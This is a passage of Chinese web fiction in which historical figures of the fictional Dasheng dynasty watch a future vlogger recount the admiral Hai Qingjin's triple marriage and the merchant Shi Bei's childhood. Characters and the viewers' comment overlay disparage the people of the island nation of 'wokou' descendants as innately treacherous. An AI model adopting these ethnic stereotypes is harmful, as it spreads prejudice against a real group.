【那部动漫说海青瑾之所以能够打败中岛贵田,是因为海青瑾长得像中岛贵田的女儿,所以中岛贵田在看到海青瑾时,不由心生同情和怜悯,觉得她一个女子竟然被可恶的大魔王盛武帝给逼着上了战场】 【而邪恶卑鄙的海青瑾,面对中岛贵田的心慈手软,不仅没有感恩戴德,反而是趁机对中岛贵田痛下杀手】 天幕下,皇宫里。 盛昭帝一脸无语地望向身边的凌戈,很是嫌弃地说道: “那群倭寇后代,他们是脑子有毛病吗?他们难道不觉得自己这种说法,听起来很荒唐可笑吗?” 无论是上一辈子,还是这一世,凌戈对倭寇的看法始终未变。 “强必寇盗,弱则卑服,不顾恩义,其天性也。”* 凌戈望向盛昭帝说道:“我们不必考虑他们的看法如何,只要他们敢再进犯我们大盛,就直接新仇旧恨一起清算!” 盛昭帝过去那些年来时常会收到倭寇袭扰东南沿海的奏折,他闻言,自责地叹了一口气,朝凌戈说道: “都怪老夫平庸无能,替沿海百姓报仇雪恨的事情,往后就交给你了。你若是军费紧张,就跟老夫说一声,老夫让魏平从私库里给你划钱。” 凌戈深知想要建设一支海军,并不是那么容易的事情,需要持之不懈地投入巨大的财力和人力。 于是,听到盛昭帝愿意拿小金库出来帮忙,凌戈直接就毫不客气地点了点头,并且还给盛昭帝画大饼: “等新的海军大船未来建好了,朕就以您之前的国号命名,将其名为泰安号。” 盛昭帝听到凌戈这么说,脸上不禁露出笑意,但还是摆了摆手,说道: “我那个已经是过去式了,还是把它命名为你现在的国号晏安吧,希望咱们的大盛能河清海晏,国泰民安。” 作者有话说: 【1出自《八仙得道传》;2引用出自《旧唐书?突厥传》 第74章 直播7:新郎是我,又不…… 天幕下,海王寨。 在听完许三九关于那部倭岛动漫的内容介绍后,海青瑾脸上瞬间浮现出了嫌恶的表情。 她虽然还没和中岛贵田打过交道,但却也听说过不少他对沿海百姓犯下的烧杀掳掠罪行。 所以,听到那动漫把中岛贵田这个刽子手,说得好像是个慈悲为怀的大善人一样,海青瑾简直是感到一阵强烈的可笑。 而且,她也知道那些倭寇后代为什么会那样做,不过就是输不起,不愿意承认中岛贵田是因为实力不济才死在她手上。 海青瑾此刻眼神中透出一股冰冷的杀意:“那个中岛贵田,他最好是祈祷他之后别被我给碰到,不然我非得把他给碎尸万段不可!” 海青瑾向来信奉“冤有头债有主”这一套理念。 她觉得,既然那些倭寇后代是因为中岛贵田才故意抹黑她,那她将事情都算在中岛贵田身上,也是很理所应当的事情。 殷笠霄和明迎宸等人对于那动漫的内容,也同样感到一阵恶心。 殷笠霄直接就冷笑了一声,“那些下三滥的倭寇,也就只会干这种上不得台面的事情了!” 明迎宸难得和殷笠霄有同感:“就是,这些废物越是遮遮掩掩,就越显得他们窝囊怂包!输就是输了,竟然连承认都不敢!” 左恒嘴角上扬,勾起一抹凉薄的笑: “那些倭寇从前在海上碰到咱们海王寨的船时,每回都是吓得远远就把船调头转道,连碰都不跟咱们碰上!原先,我还以为他们是自知实力不济,现在看来,他们其实是在韬光养晦。等下回要是再碰到倭寇的船,我看咱们应该和他们碰一碰才对!” 左恒这话,瞬间获得了殷笠霄和明迎宸等人的认同。 显而易见,那些倭寇未来的日子肯定会越发不好过了。 而此刻的天幕上,很多网友也都忍不住在弹幕中出声吐槽: 【呵呵呵,到底是谁邪恶卑鄙啊?真是奇怪,为什么倭岛的所谓英雄大剑客会死在我们大盛的土地上呢?难道他和他手底下那些尸首分离的倭寇,是因为在海上迷了路,才不小心把900艘战船停靠在了大盛的沙滩边吗?】 【不愧是寡廉鲜耻的倭岛人,再次加深了我对他们“拘小节而无大德”的刻板印象呢!这个中岛贵田当时可是在东南沿海干出过不少屠村、烧村的事情,这样毫无人性的畜生,倭岛人竟然好意思说他心慈手软?】 【笑死,而且他们怎么好意思说咱们盛武帝是大魔王的啊?我翻遍史书,可都没找到过任何关于盛武帝屠杀平民这样的记录呢!】 【敌人越是反对,就越是说明我们做对了!倭岛人为什么那么恨海青瑾和盛武帝,不就是因为在盛武帝将海青瑾招安后,那些倭寇在接下来的一百多年时间里,再也没从大盛这边占到任何便宜。海青瑾不仅击破了他们每次的袭扰,甚至还在她四十七岁那一年,带着大盛海军直捣黄龙,一鼓作气打到了倭寇的老巢去】* 【我之前被公司外派到倭岛,在那边工作了两年,我个人感觉,倭岛那边很多人对盛武帝那一代的感情很是复杂,有一种恨爱交加的感觉。我曾经碰到一个倭岛同事,他很笃定地告诉我,说海青瑾其实就是中岛贵田的女儿,不然海青瑾为什么会长得像中岛贵田的其他女儿呢。我当时简直都被他给蠢笑了,这世上竟然还真的有人把幻想动漫当作正史来看待】 【救命,我之前翻墙去外面时,也刷到过类似内容的文章,不过那个倭岛人是觉得咱们盛武帝男神可能是倭岛人,而他的依据竟然是一本两百多年前的倭岛小说。他说无风不起浪,既然那小说这样介绍了盛武帝的身世,那肯定就是有一定的依据,因为人类不能想象自己没见过的东西】 【好家伙,这些倭岛人要不要这么离大谱啊?他们难道不觉得自己的说法真的听起来很荒诞滑稽吗?】 【哈哈哈哈哈,那我要是在小说里写我是世界首富,难道我以后就真能跟别人介绍说我是世界首富吗?】 【照我说呀,这些倭岛人就是在装疯卖傻,他们纯粹是为了碰瓷,所以连脸和脑子都不要了】 …… 天幕下,皇宫里。 刚开始看到弹幕说倭人编排海青瑾身世时,盛昭帝还只是觉得那些倭人真可笑。 但等看到后世网友在弹幕中说那些倭人连凌戈的身世也进行了造谣,他这下就真是气得不轻了。 盛武帝觉得那群倭人实在是痴心妄想,像极了癞蛤蟆想吃天鹅肉,却也不照下镜子,看看自己配不配。 盛昭帝从前对倭人了解不多,所以才会因为天幕上的弹幕内容而感到心里一阵膈应。 但凌戈早在上一世时,就已经深刻地了解过,知道倭人由古至今就是这个德行,他们最擅长的事情就是扭曲历史、颠倒黑白。 所以,他并没有因为弹幕的话而感到太意外,只是默默在心中暗下了决心,日后一定得抓住机会,狠狠把倭人打疼,让他们记住冒犯侵略大盛的教训有多惨痛。 凌戈这一刻,越发坚定了自己接下来要招安海青瑾的心思。 对于弹幕刚才所说的那句“敌人越是反对,就越是说明我们做对了”,他同样深表赞同。 既然倭人那么痛恨海青瑾,甚至恨到连在文化作品中都要抹黑海青瑾,那他就更是该重用海青瑾才对。 凌戈相信,在有天幕剧透这样的优势下,相信不用等到海青瑾四十七岁那年,她就已经能带着大盛海军,打到倭寇盘踞着的巢穴去。 …… 许三九并不知道自己的视频内容,给大盛带来了多少翻天覆地的影响。 她望向镜头,声音清亮地说道: 【海青瑾在历史上,是一个争议颇多的人物】 【倭人对她恨得不行,主要是因为她的抗倭战绩太过耀眼,甚至还曾经带兵杀到倭岛,在倭寇的老巢之地上,对那些倭寇赶尽杀绝】 【而咱们这边很多人对她不满,则主要是因为她的感情生活,觉得她实在是过于离经叛道,不将世俗礼法放在眼中】 【前面三九我也提过,说海王寨的那另外三个当家,都对海青瑾心存爱慕之意,而他们和海青瑾都不是那种会在意别人眼光的人,所以对于海青瑾的追求,他们三个都很坦荡荡,明晃晃,没有任何想要低调或者遮掩的意思】 【海青瑾当时本来就因为她的女子身份,遭受到了不少人的非议,再加上海王寨那三位当家追求她的事情,那些满口礼义廉耻的酸儒,自然就更是看她不顺眼】 【很多朝臣都朝咱们盛武帝递奏折,希望盛武帝能够将海青瑾给撤职,说是免得她带坏风气,给其他女子形成了不好的典范】 【对于这些弹劾海青瑾的奏折,盛武帝的处理方式也非常有趣】 【他直接在朝堂上,询问那些弹劾海青瑾的官员们,说明明海青瑾是被追求的那个人,为什么那些官员只弹劾海青瑾,却不弹劾殷笠霄和左恒他们另外三人呢】 天幕下,海王寨。 海青瑾原先听到许三九说自己被弹劾时,心中冒出的第一个想法,和“盛武帝”的疑惑一模一样。 所以,在听到“盛武帝”的询问后,她直接轻笑了一声,朝坐在自己旁边的宣琳道: “难怪我会愿意接受盛武帝的招安,我和他看待事情的想法都差不多。” 殷笠霄、左恒和明迎宸听到海青瑾这话,心中瞬间警铃声大作。 他们都还记得,盛武帝可比他们更早地知道海青瑾是女子这件事。 从海青瑾的这个举措,就可以看出,她肯定对盛武帝的观感不错,不然她不可能主动和盛武帝说出这么大的秘密来。 而且,只是和盛武帝会过一次面,海青瑾就已经决定接受盛武帝的招安。 甚至在他们反对的情况下,她也依然坚持招安这个决定。 这一切的种种,都早已让殷笠霄等人,在心中暗自对盛武帝产生了戒备的想法。 所以,在海青瑾话音落下后,左恒、殷笠霄和明迎宸顷刻间也都跟着表态,一个个表示说自己也和海青瑾的观念相同。 殷笠霄甚至还对那些弹劾海青瑾的朝臣破口大骂,说他们简直是吃饱了撑的没事干。 【因为被盛武帝以“不患寡而患不均”这个神奇理由给回绝了弹劾,那些大臣只好重新起草奏折,连着殷笠霄和左恒他们三个也一起进行弹劾】 【那些大臣本以为自己这样做,就能够起到效果】 【然而这一次,面对他们的弹劾奏折,盛武帝给出的回应则是,让他们别老是只知道盯着别人的感情生活,多把工作心思放在利国利民的正事上】 【显而易见,盛武帝一开始就没打算处理他们的那些狗屁弹劾】 天幕下,海青瑾此刻越发觉得“自己”接受招安的这个决定做得对极了。 在她看来,这个世上,大概也就只有盛武帝这样开明的帝王,才会做出天幕上那样的回应。 【因为盛武帝明显表现出袒护海青瑾等人的态度,那些心存不满的朝臣,觉得自己再弹劾也是白费功夫,只好都暂时打消了弹劾的心思】 【但等到晏安十二年,海青瑾打算举办喜酒的消息传开以后,朝野上下瞬间就都炸开了锅】 【让众人震惊的,不仅是因为海青瑾这位统辖大盛海军官兵的最高水师提督即将成为新娘,更是因为这场喜酒的新郎竟然多达三位】 天幕下,听到许三九这番话时,许多人都震惊地睁大了双眼。 就连盛昭帝和凌戈,脸上也都出现了诧异的神情。 至于海王寨,殷笠霄、左恒和明迎宸,他们三人在刚刚听到海青瑾打算办喜酒的消息时,都霎时间紧张到连呼吸都忘记了,甚至心脏狂跳不止,生怕新郎会不是自己。 但现在突然听到自己成为新郎之一,他们三人一时间既感到松了口气,又觉得心里好像有点不是滋味。 作者有话说: 【出处:伟人】 第75章 直播7:咱们往后就跟着…… 殷笠霄、左恒和明迎宸本来还在为自己不是唯一的新郎而感到伤心,但下一秒,许三九的话直接就让他们气炸了。 【原本,那些封建卫道士就对海青瑾被殷笠霄他们三个人追求这件事,很是看不过眼,觉得海青瑾不守妇道,败坏风气】 【现在听说海青瑾要同时和殷笠霄他们三个人摆喜酒,这些坚信女性应该从一而终的封建卫道士,自然更是打定了主意,必须要搅和掉海青瑾和殷笠霄他们的婚事】 【弹劾海青瑾和殷笠霄、左恒他们四人的奏折,瞬间多到让盛武帝看都看不过来】 【就连在早朝上,群臣关注和争论的话题,一时间也都变成了海青瑾的这场婚事】 天幕下,听到那些人反对自己和海青瑾的婚事,殷笠霄当即阴沉下脸: “这群老不死的伪君子,咱们成婚关他们什么事?他们纳的小妾还没他们孙女年龄大时,怎么没见有人跳出来骂他们这群老不修败坏社会风气?” 明迎宸也一脸恼火:“照我说,这群人就是闲得蛋疼!盛武帝之前都让他们别老盯着咱们的事不放了,他们还这样执迷不悟,我看盛武帝就应该直接治他们一个抗旨不遵的罪名!” 左恒虽然没说话,可从他此刻脸上的神情,也不难看出他对那些“封建卫道士”的厌烦态度。 不过,和殷笠霄他们三人相比,海青瑾此刻的反应则是显得淡然许多。 她此刻脑海中的注意力,更多是放在另外一件事上。 想到许三九刚才说自己会成为统辖大盛海军官兵的最高水师提督,即使是已经见惯大风大浪的海青瑾,心中还是不由感到一阵心潮澎湃。 海青瑾再次在心中暗暗感慨,自己接过盛武帝递过来的招安橄榄枝,还真是接对了。 如果换成是其他皇帝,海青瑾绝不相信,他们会愿意让她一个女人手握兵权,做到那么高的位置。 海青瑾心情愉悦地望向天幕,她相信自己这一世能够取得的成就,绝对不会比天幕上的那个“海青瑾”差。 而此刻的天幕上,许三九还在说着海青瑾婚事受阻的事情: 【海青瑾和殷笠霄他们原本都是驻扎在东南沿海,但为了方便盛武帝和孟皇后出席他们的喜宴,海青瑾便将喜宴的场所定在了她京师的府宅】 【所以,当那些道貌岸然的反对者在朝堂上向盛武帝提出弹劾时,海青瑾和殷笠霄他们四个当事人,也正好在朝堂上】 【先前那些人第一次弹劾海青瑾时,殷笠霄他们那会都不在京师,等海青瑾和殷笠霄他们得知京师这边的情况时,盛武帝已经将事情都给处理妥善了】 【这也就导致,那些封建卫道士压根不清楚殷笠霄他们那三个海盗头子的杀伤力有多强】 许三九说到这,脸上不禁露出了幸灾乐祸的灿烂笑容: 【当时有个上窜下跳、蹦跶得很高的伪君子,名叫娄耀文】 【他刚在朝堂上给海青瑾扣了个道德败坏的帽子,海青瑾连看都没看他一眼,殷笠霄就已经先站出来,询问那伪君子,说他一年的俸禄也就两百两白银,他是怎么做到抬手就是五千两买下一个江南名妓呢】 【宝子们,大盛那个时候可是严禁官员狎妓的,违者重罚,甚至还可能会丢官】 【而且,五千两白银可是一笔天大的巨款了,相当于那娄耀文整整二十五年的俸禄】 【所以,当听到殷笠霄在朝堂上把这事给捅出来后,娄耀文那伪君子瞬间吓得是满脸惨白,而盛武帝也是当场就下令,要求刑部那边对娄耀文展开彻查】 天幕下,海王寨里。 殷笠霄得意地瞥了左恒和明迎宸他们俩人一眼。 虽然殷笠霄没说什么,但他那得瑟的模样,还是让左恒和明迎宸看得心里一阵窝火。 俩人都在心中暗自惋惜,觉得自己怎么就没殷笠霄那么好运,能在天幕上被许三九给提及。 不过,被天幕提及,也未必是人人都能高兴起来的一件事。 此刻,皇宫里,凌戈就在朝盛昭帝询问,说朝堂上是否有娄耀文这么一个大臣。 盛昭帝对娄耀文这个名字,虽然感到耳熟,但却一时之间也想不起来具体的信息。 就在这个时候,魏平这位前太监总管再次发挥了他的好记性,说这位娄耀文是六年前中的进士,眼下正在西南一处县衙当知县。 显然,凌戈接下来肯定会从京里派人去对娄耀文进行调查,看看是否存在“破家知县”这样的事情。 而娄耀文对自己的未来,此刻也心知肚明,因此才吓得两腿颤颤。 在许三九提到他之前,他本来还正在对着师爷和幕僚高谈阔论,说海青瑾简直是荒唐至极,行事放荡如妖女。 在娄耀文看来,女子本应对丈夫忠贞不渝,一生只侍一夫,即使夫死亦不能再婚,否则便视为失节。 所以,即使海青瑾同时和殷笠霄他们三人成婚的这件事,与娄耀文丝毫没有关系,娄耀文也依然觉得自己的权力像是受到了挑战和侮辱,甚至还为此气得暴跳如雷。 可当自己砸重金买名妓的事情被许三九在天幕上曝光后,娄耀文简直是一瞬间吓到差点晕了过去,还好是幕僚及时扶了他一把,他这才缓了过来。 娄耀文自打到这边任职知县后,后院中就多出了十几个年轻貌美的妾室。 这些妾室的来源,自然是每个都经不起细查。 娄耀文这边吓得三魂都快丢了七魄,而天幕上的许三九,则是神情轻松地继续说道: 【那些反对海青瑾和殷笠霄他们婚事的朝臣,原本一个个都觉得自己很是冠冕堂皇,但在看到殷笠霄对娄耀文的反击后,一个个瞬间气焰都降了许多,生怕自己会成为下一个“娄耀文”】 【然而,他们这个时候想偃旗息鼓,却反而没那么容易了】 【殷笠霄对娄耀文的揭发,就像是吹响进攻的冲锋号角】 【左恒和明迎宸也先后跳了出来,揭露了另外几位官员违法乱纪的情况,其中除了贪污腐败的硕鼠外,甚至还有强抢民女的人渣】 【因着他们这一通乱拳操作,朝堂上一时间注意力都转移到了那几个官员的头上,即使有人依然对海青瑾的婚事心存不满,但却也没人再跳出来指手画脚】 【而盛武帝也借着这几个官员,抽丝剥茧,顺势对朝堂进行了一场清风正气的反腐败大调查】 【说到这,三九我其实都有点怀疑,殷笠霄和左恒他们之所以知道那么多官员的内幕,会不会其实是咱们盛武帝男神偷偷给他们放的消息】 【毕竟,那几个都是京官,而殷笠霄他们大多数时候都是在东南沿海活动,很少会到京师来】 【按理来说,殷笠霄他们不应该会知道那么多京师的隐秘消息才对】 【所以,三九我真的觉得,很可能是盛武帝本来就打算收拾这一波贪官,然后又见这事能帮得上海青瑾和殷笠霄他们,所以他就顺势把这些消息都给到殷笠霄他们手上】 天幕下,盛昭帝听到这里时,忍不住赞同地点了点头,朝凌戈说道: “我看三九姑娘分析的不无道理,这确实是你能做得出来的事情。” 凌戈听到盛昭帝这话,也不好意思否认,因为他同样觉得这事可能性很高。 天幕上,许三九此时嘴角微微上扬: 【不过,不管怎么样,反正海青瑾和殷笠霄他们的婚事到底是没再受到阻碍】 【而且,在海青瑾和殷笠霄他们成婚的那天,盛武帝和孟皇后还真的出席参加了喜宴,甚至还给海青瑾和殷笠霄他们送上了四份新婚贺礼】 【三九我个人认为,假如一定要让我选择一个朝代为官,我肯定会毫不犹豫地选择盛武帝】 【因为从盛武帝对海青瑾的种种优待,就可以看出,他是真的将“选贤任能”这个治国理念贯彻得很彻底】 【原先,海青瑾刚接受盛武帝招安那会,殷笠霄和左恒他们那些海盗还一直提心吊胆,生怕盛武帝哪天会翻脸不认人,对海青瑾以及其他海王寨的人卸磨杀驴】 【但后来,看到盛武帝对海青瑾各种重用和信任后,殷笠霄他们慢慢也就放下了心中的戒备,开始全心全意效忠于大盛海军】 【可以说,在大盛海军的建立初期,海青瑾和殷笠霄他们都做出了许多的杰出贡献,立下了不可磨灭的功绩】 天幕下,皇宫里,盛昭帝望向凌戈,说道: “经过今天的天幕,你若是要招安那海青瑾,想必也用不着再以身涉险了。你可以考虑让林昭霖去替你登岛当招安使者,他性情温和,也懂得灵活应变,应该不至于搞砸你交代的差事。” 凌戈知晓盛昭帝是好心建议,而且他推荐的林昭霖也确实是个合适的人选,于是凌戈便顺着点了点头。 而海王寨这边,海青瑾在许三九的直播结束后,也直接站起身,她环视了一眼全场的所有海盗,开口扬声问道: “我打算接受当今圣上的招安,你们意下如何?” 听到海青瑾称呼凌戈为“圣上”,一众海盗自然是能明白海青瑾的态度。 以前盛昭帝还在位时,海青瑾对盛昭帝的态度可没那么尊敬,她都是直接称呼盛昭帝为“那皇帝老头” 于是,海青瑾话音刚落下,全场海盗瞬间就齐刷刷应声道:“我们听大当家的!” 海青瑾看到他们这个反应,顿时满意地点了点头:“行,既然大家伙都没意见,那咱们往后就跟着圣上干了!” 听到海青瑾这话,海王寨的海盗们瞬间都振奋地欢呼了起来。 人最怕未知的道路,但经过刚才的天幕,大家都已经很清楚地知道,跟着盛武帝干,自己未来绝对亏不了。 他们不敢奢望自己会有海青瑾那样辉煌的成就,但就算是只成为一个小军官,那也足够让他们光宗耀祖了。 第76章 直播8:从孤儿到大盛首…… 随着时间进入2月份,京师众人的注意力慢慢都从海青瑾那边,转移到了即将召开的县试。 因为县试在2月15日那天开始,留给众位考生的时间所剩不多,所以孟雪姝最近更是一心忙着备考,压根抽不出心思去处理其他事情。 凌戈也知道孟雪姝对县试的重视,所以私下还特意提醒了礼部和宫里的内务府,让他们在操持帝后大婚这事的过程中,如果不是真的至关重要的大事,就别去打扰孟雪姝那边。 凌戈都这么发话了,礼部和内务府那群人精自然更是看明白了凌戈对孟雪姝的重视和偏袒,晓得自己应该如何做才能讨到凌戈的欢心。 于是,本该被各种婚礼事务和皇家礼仪规制搞得焦头烂额的孟雪姝,却发现自己的备嫁过程,竟然比她先前看到过的其他人轻松了许多。 孟雪姝虽然如今手中掌握的消息渠道还不多,但她有个在朝当宰相的祖父。 她只是找孟谦询问了一句后,便迅速从孟谦那里得知了凌戈私下里为她做的事情。 这些时日里,凌戈虽然不方便出宫和孟雪姝相见,但俩人却没少通过信件往来。 有时,凌戈吃到一些不错的点心,还会特意让人从宫里送出来,说是想让孟雪姝也试试。 孟雪姝本来心中就已经觉得,凌戈对她的好,实在是好到超出了她原先对夫君的最理想预期。 现在得知凌戈还悄悄为她做出了这样细心的安排,她心中一时间更是下定了决心,觉得自己一定得抓紧时间备考才行,不能辜负了其他人对她的帮助。 不过,比县试更先到来的,是许三九重新出现在天幕上的身影。 许三九朝镜头挥了挥手,笑着说道: 【宝子们,上一期视频发布以后,三九我在评论区里看到有不少网友都提到了石北,希望我能做一期关于他的视频】 【三九我向来都很懂得听取群众的意见,所以这一期,咱们就来好好聊一聊关于他的事迹】 【对于石北这么一位人物,相信绝大多数人在想到他时,脑海中浮现出来的关键词肯定有“大盛首富”这么一个亮眼的标签】 天幕下,皇宫里,凌戈听到石北未来竟然会是“大盛首富”时,先是有点讶异,但转瞬一想,他又觉得以石北在商业上表现出来的天赋和能力,石北能成为“大盛首富”其实并不稀奇。 而被许三九骤然提及的石北,此刻则是身处在一处精巧雅致的江南园林之中。 在听到许三九说石北未来会是“大盛首富”时,他身边的那些豪商瞬间一个个都朝石北贺喜了起来。 石北面对他们的恭维,则是笑容依然憨厚,回应得很是谦逊,丝毫看不出半点得意张扬的模样。 但众位豪商对他这副看着老实人的模样,却是没人敢看轻他。 因为,自从许三九在上次天幕中提了一嘴自强商号,大家如今都已经知晓,石北手底下管着的自强商号,其最初创办人是凌戈这位当今陛下。 …… 【石北他能从一个西北边境的小孤儿,成长为富甲天下的“大盛首富”,这背后原因除了有他个人的经商能力优秀外,很大程度上,其实也离不开盛武帝对他的支持和帮助】 【他和盛武帝自年少时便认识,俩人感情的深厚程度之深,说是用发小这个词来形容,也丝毫不算夸张】 天幕下,听到石北竟然和凌戈从小就认识,甚至关系好到是发小的程度,一众豪商的脸上瞬间又满是惊诧。 他们虽然之前就已经猜到,石北应该有能力直达天听,但他们还是没料到,石北竟然和盛武帝的关系如此紧密。 “石老板,您这事可办得不厚道呀!”一个姓刘的丝绸商以半开玩笑半抱怨的口吻,朝石北说道,“咱们哥俩都是认识多长时间的老朋友了,您还瞒我瞒得那么深,您这是怕我会和您争抢圣上的恩宠不成?” “哎呀,老刘,这石老板的嘴巴严,你又不是头一天才知道的事。就连这自强商号和圣上有关系,咱们不也是前阵子才知道?” 听到两个豪商打趣自己,石北爽朗地笑了笑,说道: “刘老板、徐老板,瞧你们这话说的,我可不是成心不告诉你们,是你们没问过我这事呀。我总不能见着个人,就抓着他,跟他说我和圣上认识吧?那我不得被你们当成疯子了嘛?” 听到石北这回答,一众豪商虽然知道他是在敷衍自己,但却也没人真的戳破他的话,让他下不来台。 相反,此刻那些豪商,他们心中对石北的重视程度,都不约而同比之前再提高了许多。 就在众位豪商在想着今后应该如何对待石北时,他们就又听到许三九在天幕上说道: 【说起石北和盛武帝认识的缘故,那就得追溯到盛武帝他母亲去世那一年了】 【咱们盛武帝男神之所以会和石北产生交际,是因为石北当时偷走了他放在母亲坟前祭拜的供品】 许三九的这番话,瞬间惊得一众豪商都目瞪口呆地望向石北。 而石北即使这些年已经经历过不少磨炼,但小时候的黑历史被许三九公诸于世,他也还是不由感到一阵尴尬。 好在,许三九随后便帮他解释了一下: 【虽然无论古今中外,咱们都讲究死者为大,但石北当时之所以会跑去偷盛武帝祭拜母亲的供品,也是因为他再不偷,他可能就要饿死升天了】 【前面三九我说过,石北他小时候是一个孤儿,那个时候的大盛,可不像后来盛武帝统治时期那样,还有孤儿院这样收容流浪儿童的存在】 【而西北那边因为靠近边境、常年战乱的缘故,所以还存在着不少无人问津的战争孤儿】 【石北除了要养活自己一个人外,还要养活他收留的那十几个小孤儿】 【所以,即使他已经用尽各种办法了,但他还是没法找到充足的食物来果腹】 【就是在这种山穷水尽的处境下,他才盯上了那些摆放在坟前祭拜的供品】 【正所谓十里不同俗,而当地的祭拜风俗,就是将供品都留在坟前,以供先人享用】 【不过,因为经济紧张的缘故,那会绝大多人去拜祭先人时,其实也拿不出太多食物去祭拜】 【所以,当饥肠辘辘的石北发现盛武帝的母亲坟前竟然摆了馒头和糕点外,他自然是喜不自禁地将那些馒头和糕点全都给偷了回去】 【如果是其他人碰到这种供品被偷的情况,或许还可能拿石北没办法,但石北他偏偏碰到了咱们的盛武帝】 【虽然石北他也特意遮掩了下自己的痕迹,盛武帝还是根据他留下的蛛丝马迹,迅速追踪到了他和那群孤儿住着的桥洞底下】 【当看到盛武帝突然出现在自己面前时,石北和那群孤儿还吓了一跳,想不明白盛武帝是怎么找到的他们】 【因为害怕盛武帝会将那些馒头和糕点都抢回去,石北和那群孤儿便打算对盛武帝动手,然而他们十几个人对盛武帝展开偷袭和围攻,却是被盛武帝一个人就打得七零八落】 【好在,盛武帝也并没有对他们动狠手,所以他们很快就都从地上重新爬了起来】 【石北也发现了盛武帝对他们的留力,再加上意识到自己踢了块铁板,他就朝盛武帝表示说,他可以将馒头和糕点都还给盛武帝,只希望盛武帝不要再追究他们这件事】 天幕下,许三九的这些话,勾起了石北对于过去的回忆。 他黝黑的脸上此时不禁浮现出了几分笑意。 【然而,让石北惊讶的,是盛武帝竟然把馒头和糕点重新递回给了他们,说让他们尽管吃就行】 【盛武帝告诉石北他们,说他母亲如果此刻还在世上,也绝对不会计较和他们分享这些供品】 【事实上,盛武帝在意识到是石北他们这群孤儿偷走了母亲的供品后,本来就已经没打算追究这件事了】 【但石北他们以前每次被抓到偷东西时,经常都会被人毒打一顿,所以他们在碰到盛武帝时,便下意识也想用武力的手段来恐吓住盛武帝】 【在得知石北身边跟着的那十几个小孤儿,都是石北收留的伙伴后,盛武帝便主动朝石北伸出了橄榄枝,询问石北是否要和他合作】 【石北当时虽然都不知道盛武帝想和他合作什么,但他从盛武帝能够追踪到自己,且还不费吹灰之力就把他们一群人打倒这两件事,就能看出盛武帝比他有能耐许多】 【所以,几乎是盛武帝刚一提出询问,石北就立刻毫不犹豫地答应了下来】 【而石北多年后在教导子女如何经商时,他就表示说他这一辈子收获最丰厚的买卖,就是当年答应和盛武帝合作这件事】 天幕下,听到许三九这话,一众豪商望向石北的目光,简直是夹杂着各种羡慕嫉妒恨的情绪。 如果他们能像是石北这样,有盛武帝这么一个发小当靠山,那他们真是做梦都能高兴到笑醒过来。 第77章 直播8:他们无不无辜,…… 天幕上,许三九笑着说道: 【石北他们在认识了盛武帝以后,就彻底摆脱了他们原先吃了上顿没下顿的那种窘境】 【可以说,能够碰到盛武帝,真的是石北他们的幸运】 【盛武帝当天晚上,就把他们从四处透风的桥洞底下,带回了家中】 【而且,考虑到石北他们当时什么技能都不会,盛武帝便想出了一个很适合他们的无本生意,那就是情报中介】 【石北他们这群小孤儿天天走街串巷,看着很不起眼,但实际却是搜集信息最合适的人选】 【因为石北他们最初那会,还不具备辨别信息是否有价值的能力,盛武帝便让他们将每天看到和听到的各种信息都汇报给自己】 【一开始,石北他们还对盛武帝心存怀疑,觉得这些细枝末节的信息怎么可能赚到钱】 【但当盛武帝从他们第一天搜集到的信息里,推测出有个酒楼最近打算招聘个跑堂的结论,并且还把这消息用两百文的价格卖给了附近一户最近正急着找工作的中年男人后,石北他们就对盛武帝敬佩得心服口服了】 【两百文钱听着好像不多,但却是石北他们有生之年从未赚到过的巨款,而且还是以如此轻松的合法方式赚到】 【石北他们在意识到盛武帝传授给他们的这个赚钱方法真的可行后,自然更是越发积极地搜集各种信息】 【而盛武帝也深知授人以鱼不如授人以渔的道理,所以他每次在进行情报分析时,都丝毫没有藏私,总是毫无保留地把自己推理情报的整个思维过程分享给石北他们知道】 【在盛武帝的教导下,石北他们很快就都开始学会如何从各种纷杂的信息中,找寻出有商业价值的情报】 天幕下,站在石北附近的一个老商人,想到自己白手起家的艰辛过去,不禁充满感慨地朝石北说道: “石老板,您能遇到圣上这样慷慨豪爽的人,不得不说,确实是运势得天独厚。老夫当年拜师学做陶瓷时,那师父防我就跟防贼似的,但又把我当免费劳力一样使唤,最后甚至以盗窃的名义陷害我,逼到我不得不与他对簿公堂。” 石北对那老商人也有所了解,知道他确实早年受过不少苦难,直到中年才凭借他研制出的一款独特青瓷顺利起了家。 石北对这老商人的观感比较好,因为这老商人的赚钱方式比较正派,不像其他人那样喜欢用邪门歪道的手段。 所以,听到老商人的话后,石北笑着朝他回道:“我们一开始也觉得不敢置信,甚至还怀疑过圣上是不是对我们另有所谋,但后来转念一想,我们这一群穷孩子,哪有什么能让圣上瞧得上的地方呀?” 听到石北和这老商人的对话,在场的其他豪商们,一时间越发觉得石北真是走了狗屎运。 那些豪商原本很多人之前就在心底瞧不起石北,觉得他不过是个泥腿子,现在见他偷了凌戈母亲的祭品后,却竟然还能得到凌戈的照拂,不由更是对石北嫉妒得不行,恨自己不能有石北这样的宏图大运。 许三九的话,除了让这些豪商心生波澜外,也同样让天幕上的其他网友都一阵感慨: 【难怪石北这位财神爷会一辈子都对盛武帝感激不尽,换做是我,我肯定也愿意至死不渝地跟着盛武帝这位救命恩人】 【我之前对盛武帝了解不多,但最近看了三九的这些视频后,真的感觉盛武帝这人实在是太传奇了,难怪会有那么多人愿意跟随他打天下】 【不是,你们难道不觉得这个博主刚才说的那些,有些过于离谱吗?盛武帝那个时候应该连10岁都没到吗?他哪来那么大能耐啊?这该不会是那些人为了讨好他,所以故意编造出来的谎言吧?】 【我也觉得,古代那些皇帝不就是很喜欢用各种神话来给自己镀金吗?】 【emmm,前面那两位朋友,真心的建议,不要拿咱们常人的标准,去和那些天纵之才做对比。因为你真的会发现哪哪都不合理,离谱到了极点,但却又的的确确真实存在】 【这个时候,我就不得不搬出那个振聋发聩的问题了,“人就算再笨,14岁还能学不会微积分吗?”】 【哈哈哈哈,还好我上学期的导师,用平时分帮我保住了人籍。我查到自己60分这个成绩时,真的是激动到高呼万岁,我们整个寝室就我一个人过了这门课】 【呜呜呜,我现在已经不是人了,人生头一次不及格,就是因为这可恨的微积分】 【唉,虽然大家都是人类,但人与人之间的差距,有时真的比人和狗的差距还大。我现在跟着的博导,人家今年才27岁,甚至还比我小3岁。我看她从小到大的履历,简直牛到超出我的想象。而且,更关键的是,她家庭其实就是普通双职工家庭,她从小到大都没上过什么辅导课。所以三九刚才说的那些,我真的毫不怀疑,有些人的脑子,真就是从小和咱们这些普通人不一样】 